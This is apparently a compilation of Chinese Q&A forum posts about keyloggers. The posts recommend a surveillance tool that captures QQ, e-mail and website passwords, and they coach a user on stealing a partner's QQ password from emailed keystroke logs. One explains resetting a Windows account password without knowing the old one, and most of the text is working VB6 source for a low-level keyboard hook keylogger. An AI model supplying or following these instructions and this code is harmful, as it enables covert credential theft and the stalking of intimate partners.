请问你有QQ键盘记录器么？ 你的是不是能记录QQ密码？ 能被360查出来么
你可以试试电脑监控专家
电脑监控专家软件主要功能：
1.键盘输入记录功能
记录键盘的所有输入，包括中文、英文、数字以及功能键按键记录。QQ聊天记录、MSN聊天记录、发送邮件的内容以及上网登陆一些网站或邮箱时输入的用户名和密码都会被记录下来（提示：请勿将软件用于非法用途）。
2.屏幕显示记录功能
定时对全屏或活动的程序窗口进行截图保存。让你对电脑上的显示和操作了如指掌。
3.活动窗口监控功能
记录所有打开的窗口标题和打开的时间，并且可以禁止打开标题中包含你指定的文字的窗口。
如何用键盘记录器记录本机上登录过的QQ密码？
兄弟，我能理解你现在的心情，看开点吧。
你下载的键盘记录器版本可能有问题所以不能用，重新下载一个，设置好邮箱后，点‘手工发送’试试，如果成功的话你设置的收件邮箱会收到以文本记录的键盘输入过的内容。你按Ctrl+F查找QQ号，一般会在QQ号的后面。因为对方肯定是输入了QQ号接着输入密码。祝你成功，这样的女人早日叫她滚蛋吧。
如何用键盘记录器来获取电脑开机密码
键盘记录可以，但输入密码时window还没进入呢
想要破解密码到网上找把这种软件多的是
暴力点的直接去掉：
对我的电脑点右键->管理->(左边)本地用户和组->右边双击用户->对你想去密码的用户点右键，设置密码（这个不需要原密码）点确定就行了
用键盘记录：
'先建一个工程
'要有一个窗体(Form1)和模块,窗体中加一个list1
'-----------------------窗体代码-------------------------
Public hHook
Private Sub Form_Load()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)
End Sub
Private Sub Form_Unload(Cancel As Integer)
UnhookWindowsHookEx hHook
End Sub
'--------------------------模块代码----------------------------
Option Explicit
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const WM_SYSCHAR = &H106
Public Const WM_SYSCOMMAND = &H112
Public Type KEYMSGS
vKey As Long '虚拟码 (and &HFF)
sKey As Long '扫描码
flag As Long '键按下：128 抬起：0
time As Long 'Window运行时间
End Type
Public keyMsg As KEYMSGS '键盘消息
Public hHook As Long '创建的钩子的句柄
Dim Key1, Key2
Dim Keys1 As Boolean, Keys2 As Boolean
Public StrKey1 As String
Public StrKey2 As String
Dim StrTxts As String
Public Downed As Boolean
Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim lKey As Long
Dim strKeyName As String * 255
Dim strLen As Long
If idHook = HC_ACTION Then
CopyMemory keyMsg, lParam, LenB(keyMsg)
Select Case wParam
Case WM_SYSKEYUP, WM_KEYUP '判断是否为键盘消息
lKey = keyMsg.sKey And &HFF '扫描码
lKey = lKey * 65536 '将扫描码左移16位，使位0～15置0
If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then
strLen = GetKeyNameText(lKey, strKeyName, 250) '获取该按键的名称
Else
strLen = GetKeyNameText((lKey Or &H1000000), strKeyName, 250) '位24为增强型键盘上的扩展位
End If
Form1.List1.AddItem strKeyName
End Select
End If
CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam) '呼叫下一个钩子
End Function
